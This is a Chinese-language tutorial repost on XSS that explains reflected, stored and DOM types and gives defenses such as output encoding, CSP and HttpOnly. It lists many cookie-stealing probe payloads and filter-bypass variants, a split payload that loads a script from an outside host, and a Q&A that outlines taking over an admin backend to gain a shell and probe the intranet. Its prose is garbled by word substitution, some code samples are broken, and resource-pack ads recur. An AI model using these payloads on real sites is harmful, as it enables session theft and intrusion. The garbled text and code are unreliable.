Web攻击中常见漏洞之XSS攻击（基础原理篇）黑客技能零基础入门到醒目实战教
免责声明由于流传、利用本号所提供的信息而造成的任何直接或者间接的效果及损失，均由使用者本人负责，本人不为此承担当何责任，一旦造成效果请自行承担！
01 漏洞原理
当应用程序发送给浏览器的页面中包含用户提交的数据，但没有颠末适当验证或转义时，就会导致跨站脚本漏洞。这个“跨”现实上属于浏览器的特性，而不是缺陷；
浏览器同源策略：只有发布Cookie的网站才气读取Cookie。
会造成Cookie窃取、挟制用户Web行为、结合CSRF进行针对性攻击等危害
02 漏洞类型
反射型 #
出现在搜索栏，用户登录等地方，常用来窃取客户端的Cookie进行钓鱼诱骗。(需要用户去点击)
想要窃取cookie要满足两个条件：
1.用户点击攻击者构造的URL
2.访问被攻击的应用服务(即存在xss的网站)
我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技能电子书以及视频教程，需要的小伙伴可以扫描下方二维码或链接免费领取~
https://i-blog.csdnimg.cn/direct/f323fb5eec3845f5bb2feaf8714d6dda.png#pic_center
存储型 #
出现在留言、批评、博客日记等交互处，直接影响Web服务器自身安全
DOM型 #
基于文档对象模型(Document Object Model)的一种漏洞；
DOM型与反射型类似，都需要攻击者诱使用户点击专门设计的URL；
Dom型 xss 是通过 url 传入参数去控制触发的；
Dom型返回页面源码中看不到输入的payload， 而是生存在浏览器的DOM中。
假设应用程序返回的页面包含以下脚本：
<script>
var url = document.location;
url = unescape(url);
var message = url.substring(url.indexOf('message=') + 8,url.length);
document.write(message);
</script>
把 javascript 代码作为message的参数，这段代码将会被动态的写入到页面中，
并像服务器返回代码一样得以实行。
DOM型与反射 型类似，都需要攻击者诱使用户点击专门设计的URL
查找利用XSS漏洞 #
基本验证 #
"><script>alert(document.cookie)</script>
把这个字符串提交给每个应用程序页面的每个参数；
同时监控它的响应，如果攻击字符串原样出现在响应中，就可能存在XSS漏洞。
很多应用可能会颠末黑名单等简朴的初步过滤，试图阻止XSS攻击；
可以通过编码等方式绕过：
"><ScRiPt>alert(document.cookie)</ScRiPt>"%3e%3cscript%3ealert(document.cookie)%3c/script%3e"><scr<script>ipt>alert(document.cookie)</scr</script>ipt>%00"><script>alert(document.cookie)</script>
当利用基于DOM的XSS漏洞时，攻击有用载荷并不在服务器的响应中返回，而是生存在浏览器的DOM中，并可被客户端javascript访问。
在这种环境下，以上基本验证无法发现XSS漏洞。
03 漏洞实例
查找反射型XSS #
测试引入脚本的反射 #
#例1，标签属性值：
假设返回页面中包含以下脚本：
<input type="text" name="name" value="test-text" >
很明显，利用xss的方法是终止包含字符串的双引号，结束``标签
"><script>alert(1)</script>
#例2，javascript字符串：
假设返回页面中包含以下脚本：
<script>var a='test-text'; var b=123;...</script>
用分号终止语句
'; alert(1); var foo='
#例3，包含URL的特性
假设返回页面中包含以下脚本：
<a href="test-text">Click here</a>html
这时，受控制的字符插入到一个``标签的href属性中。
这个属性可能包含一个使用javascript:协议的URL，利用：
javascript:alert(1);
脚本标签 #
事件处理器
有大量事件处理器可与各种标签结合使用，用于实行脚本。
一些示例，可在不需要任何用户交互的环境下实行脚本：
<style onreadystatechange=alert(1)></style>
<iframe onreadystatechange=alert(1)></iframe>
<object onerror=alert(1)></object>
<img type=image src=valid.gif onreadystatechange=alert(1)>
<input type=image src=valid.gif onreadystatechange=alert(1)>
<body onbeforeactivate=alert(1)></body>
<video src=1 onerror=alert(1)></video>
<audio src=1 onerror=alert(1)>
脚本伪协议
脚本伪协议可用在任何位置，以在需要URL的属性中实行行内脚本。
<object data=javascript:alert(1)></object>
<iframe src=javascript:alert(1)></iframe>
<event-source src=javascript:alert(1)></event-source>
避开过滤:HTML #
标签名称
改变字符巨细写
<iMg onerror=alert(1) src=a>
插入NULL字节
<[%00]img onerror=alert(1) src=a>
标签名称后的空格
一些可用于替换空格的字符
<img[%09]onerror=alert(1) src=a>
<img[%0d]onerror=alert(1) src=a>
<img[%0a]onerror=alert(1) src=a>
<img/"onerror=alert(1) src=a>
属性名称
绕开一些检查以on开头的过滤器
<img o[%00]nerror=alert(1) src=a>
属性分隔符,把多个属性分隔开
<img onerror='alert(1)'src=a>
属性值
可以用NULL字节或HTML编码属性值
<img onerror=a[%00]lert(1) src=a>
<img onerror=alert(1) src=a>
HTML编码 十六进制编码 base64编码 ASCII编码
以下属性可以被编码：
href=
action=
formaction=
location=
on*=
name=
background=
poster=
src=
code=
data= //只支持base64
字符集
偶然可用一些非标准编码绕开过滤器
UTF-7、US-ASCII、UTF-16
拆分跨站：
当应用程序没有过滤<、>关键字却限制了字符长度时可用拆分跨站
<script>z='<script src=';/*
*/z+='test.c';/*
*/z+='n/1.js><0/script>';/*
*/document.write(z)</script>
最终实行
<script>
z='undefined<script src=test.cn/1.js></script>';
document.write(z)
</script>
避开过滤：脚本代码 #
有些过滤器可能阻止javascript关键字和表达式，有用的字符，好比引号、括号和圆点。
Unicode转义
<script>a\u006cert(1)</script>
如果能够使用eval命令，就能够将别的命令以字符串的格式传送给eval，从而实行别的 命令。
<script>eval('a\u006cert(1)');</script>
替换圆点
<script>alert(document['cookie'])</script>
<script>with(document)alert(cookie)</script>
我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技能电子书以及视频教程，需要的小伙伴可以扫描下方二维码或链接免费领取~
https://i-blog.csdnimg.cn/direct/f323fb5eec3845f5bb2feaf8714d6dda.png#pic_center
查找利用存储型XSS #
1.确定生存型XSS漏洞的过程与前面描述简直定反射型XSS漏洞的过程类似。
2.但是，这两个过程之间也存在一些紧张的区别；
3.在进行测试时必须记着这些区别，以确定尽可能多的漏洞。
(1) 向应用程序的每一个可能的位置提交一个特殊字符串后，必须反复检查应用程序的全部内容与功能；
(2) 如有可能，应检查管理员能够访问的区域，确定其中是否有可以被非管理用户控制的数据；
比如有些应用可以在浏览器查看日志，攻击者可留下恶意的HTML日志加以利用；
(3) 检查应用的整个流程，确保测试彻底，检查任何可控的带外通道，如HTTP消息头；
在上传文件中测试XSS
如果应用程序允许用户上传可被别的用户查看下载的文件，就会出现生存型XSS，这种漏洞常被人们忽略。
测试时，首先上传一个验证性的HTML文件。
如果该文件被接受，则实验以正常方式下载该文件。
如果应用程序按照原样返回最初的文件，并且脚本被实行，则应用肯定易于受到攻击。
例： 可把XSS的payload做成图片木马，上传到用户头像(用各种方法去绕过上传限制)
查找并利用DOM型的XSS漏洞 #
确定基于DOM型的XSS漏洞，一种有用的方法是，检查全部客户端JavaScript，
看其中是否使用任何可能会导致漏洞的DOM属性。
检查每一段客户端JavaScript，看其中是否出现以下API
它们可用于访问通过一个专门设计的URL控制的DOM数据；
document.location
document.URL
document.URLUnencoded
document.referrer
window.location
在每一个使用上述API的位置，仔细检查那边的代码，确定应用程序怎样处理用户可控的数据；
以及是否可以使用专门设计的输入来实行JavaScript。
尤其注意检查并测试控制的数据被传送至以下任何一个API的环境
document.write()
document.writeln()
document.body.innerHtml
eval()
windows.execScript()
windows.setInterval()
windows.setTimeout()
片断技巧：服务器不解析url中#后的内容
防止反射型与存储型XSS #
用户可控的数据未经适当简直认与净化就被复制到应用程序响应中，这是造成反射型与生存型XSS漏洞的根本缘故原由
1.确认输入
数据不能太长
数据仅包含某组合法字符
数据与一个特殊的正则表达式相匹配
根据应用程序希望在字段中收到的数据类型，应尽可能的限制性的对姓名、电子邮件地址、账号等
应用不同的确认规则
2.确认输出
如果应用程序将某位用户或第三方提交的数据复制到它的响应中，应对这些数据进行HTML编码，净化恶意代码。
3.消除危险插入点
应尽量避免直接在现有的JavaScript中插入用户可控的数据；
如果标签属性接受URL作为它的值，应避免嵌入用户的输入；
4.允许有限的HTML
一些应用程序允许用户以HTML格式提交即将插入到应用程序响应中的数据。
例如博客、论坛的富文本编辑器允许使用HTML书写。
有各种框架(如OWASP AntiSamy项目)可用于确认用户提交的HTML标记，以确保其中未包含任何执行JavaScript的方法。
防止基于DOM的XSS漏洞 #
造成这种漏洞并无法不需要将用户可控的数据复制到服务器响应中，所以上述防范方法对DOM型XSS无用；
应用程序应尽量避免使用客户端脚本处理DOM数据并把它插入到页面中；
如果无法避免，应使用以下两种方法防御DOM型XSS攻击。
客户端，确认将要插入到文档中的数据仅包含字母数字与空缺符
<script>
var a = document.URL;
a = a.substring(a.indexOf("message=") + 8, a.length);
a = unescape(a);
var regex=/^(A-Za-z0-9+\s)*$/;
if (regex.test(a))
document.write(a);
</script>
服务端，对URL数据进行严格确认
查询字符串中只有一个参数
参数名大小写检查
参数值仅包含数字字母
2.确认输出
在将用户可控的DOM数据插入到文档之前，进行HTML编码
<?php
function reinit(str)
{
var d = document.createElement('div');
d.appendChild(document.createTextNode(str));
return d.innerHTML;
}
?>
我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技能电子书以及视频教程，需要的小伙伴可以扫描下方二维码或链接免费领取~
https://i-blog.csdnimg.cn/direct/f323fb5eec3845f5bb2feaf8714d6dda.png#pic_center
04 漏洞防御
介绍一些通用的方案，可以低沉 XSS 带来的风险和效果。
Content Security Policy
严格的 CSP 在 XSS 的防范中可以起到以下的作用：
禁止加载外域代码，防止复杂的攻击逻辑。
禁止外域提交，网站被攻击后，用户的数据不会泄露到外域。
禁止内联脚本执行（规则较严格，目前发现 GitHub 使用）。
禁止未授权的脚本执行（新特性，Google Map 移动版在使用）。
合理使用上报可以及时发现 XSS，利于尽快修复问题。
输入内容长度控制。
对于不受信任的输入，都应该限定一个合理的长度。
虽然无法完全防止 XSS 发生，但可以增加 XSS 攻击的难度。
HTTP-only
HTTP-only Cookie: 克制 JavaScript 读取某些敏感 Cookie，攻击者完成 XSS 注入后也无法窃取此 Cookie。
验证码：防止脚本冒充用户提交危险操纵。
05 总结
怎样快速发现 xss 位置 ？
对于反射型XSS：
一般来说就是找输入点的可控参数，好比搜索框、留言板、 登录 / 注册，构造payload发送，监控响应
上边这种方法不实用于DOM型XSS，因为 基于DOM的XSS漏洞 ， payload并不在服务器的响应中返回，而是生存在浏览器的DOM中
对于存储型XSS：正常的输入payload查看是否过滤，也可以反向推测输出点，构造payload去输入
XSS 蠕虫的产生条件 ？
可以执行恶意操作；
可以感染并传播
就是产生XSS点的页面不属于self页面，用户之间产生交互行为的页面，都可能造成XSS Worm的产生 （微博、贴吧）
由于XSS蠕虫基于浏览器而不是操作系统，取决于其依赖网站的规模，它可以在短时间内达到对巨大数量的计算机感染
XSS能打到背景，但是背景体系处于内网，怎么做内网探测？
XSS平台拿cookie登录背景，或钓鱼拿登录，然后找上传点getshell，然后结合msf使用
github有一些现成的xss扫描内网端口的脚本，可以参考利用
再根据探测出来的信息进一步利用，比如开了redis等，再就是利用漏洞去getshell
6 工具推荐
项目地址：https://github.com/s0md3v/XSStrike/releases/tag/3.1.5
XSS前端编码：https://github.com/evilcos/xssor2``Xss-cheat-sheet：https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料，给那些想学习 网络安全的小伙伴们一点帮助！
对于从来没有打仗过网络安全的同学，我们帮你准备了详细的学习发展路线图。可以说是最科学最体系的学习路线，大家跟着这个大的方向学习准没题目。
因篇幅有限，仅展示部门资料，朋侪们如果有需要全套《网络安全入门+进阶学习资源包》，请看下方扫描即可前往获取
https://i-blog.csdnimg.cn/direct/f323fb5eec3845f5bb2feaf8714d6dda.png#pic_center
页:
[1]